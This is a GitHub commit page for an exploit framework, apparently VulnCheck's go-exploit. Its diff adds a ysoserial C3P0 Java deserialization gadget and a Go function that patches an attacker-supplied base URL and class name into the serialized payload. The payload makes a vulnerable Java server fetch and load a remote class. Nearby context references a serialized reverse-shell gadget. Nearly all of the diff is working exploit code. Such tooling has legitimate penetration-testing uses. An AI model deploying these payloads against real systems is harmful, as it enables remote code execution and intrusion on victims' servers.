Skip to content

Commit 5fe5c54

Browse files
authored
Merge pull request #447 from vulncheck-oss/C3P0
Add C3P0 gadget chain from ysoserial
2 parents 9f0ab87 + 7330b78 commit 5fe5c54

File tree

2 files changed

+37
-1
lines changed

2 files changed

+37
-1
lines changed

java/gadgets/C3P0.bin

1.01 KB
Binary file not shown.

java/javagadget.go

Lines changed: 37 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,20 +1,32 @@
11
package java
22

33
import (
4+
"embed"
45
"errors"
56
"fmt"
7+
"path/filepath"
68
"strconv"
79
"strings"
810

911
"github.com/vulncheck-oss/go-exploit/transform"
1012
)
1113

12-
var errInvalidCommandLength = errors.New("invalid command length")
14+
//go:embed gadgets
15+
var gadgets embed.FS
16+
17+
var (
18+
errInvalidCommandLength = errors.New("invalid command length")
19+
errInvalidCallbackArg = errors.New("invalid callback arg")
20+
)
1321

1422
func ErrorInvalidCommandLength(msg string) error {
1523
return fmt.Errorf("%w: %s", errInvalidCommandLength, msg)
1624
}
1725

26+
func ErrorInvalidCallbackArg(msg string) error {
27+
return fmt.Errorf("%w: %s", errInvalidCallbackArg, msg)
28+
}
29+
1830
// This payload was generated using ysoserial-modified with the CommonsCollections6 gadget and the bash shell arg
1931
// The benefit of this payload over one generated from the unmodified ysoserial is the you do not need to
2032
// prepend it with a bash -c, and the spaces do not need to be replaced with $IFS.
@@ -415,6 +427,30 @@ func Commons10CommandBytecode(commandStr string) (string, error) {
415427
return payloadBytes, nil
416428
}
417429

430+
// Load `className` from `baseURL` using `URLClassLoader`.
431+
//
432+
// Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>".
433+
func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) {
434+
// 16-bit unsigned integer
435+
if len(baseURL) < 1 || len(baseURL) > 65535 {
436+
return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters")
437+
} else if len(className) < 1 || len(className) > 65535 {
438+
return "", ErrorInvalidCallbackArg("className must be between 1 and 65535 characters")
439+
}
440+
441+
// $ java -jar ysoserial.jar C3P0 "<base_url>:<classname>"
442+
gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "C3P0.bin"))
443+
if err != nil {
444+
return "", fmt.Errorf("failed to read gadget: %w", err)
445+
}
446+
447+
gadget := string(gadgetBytes)
448+
gadget = strings.ReplaceAll(gadget, "\x00\x0a<base_url>", transform.PackBigInt16(len(baseURL))+baseURL)
449+
gadget = strings.ReplaceAll(gadget, "\x00\x0b<classname>", transform.PackBigInt16(len(className))+className)
450+
451+
return gadget, nil
452+
}
453+
418454
// This is a serialized java reverse shell. The gadget was generated by ysoserial
419455
// but using the code in this pull https://github.com/frohoff/ysoserial/pull/96
420456
// and updated to make it easy to swap in the desired lhost+lport of our choosing

0 commit comments

Comments
 (0)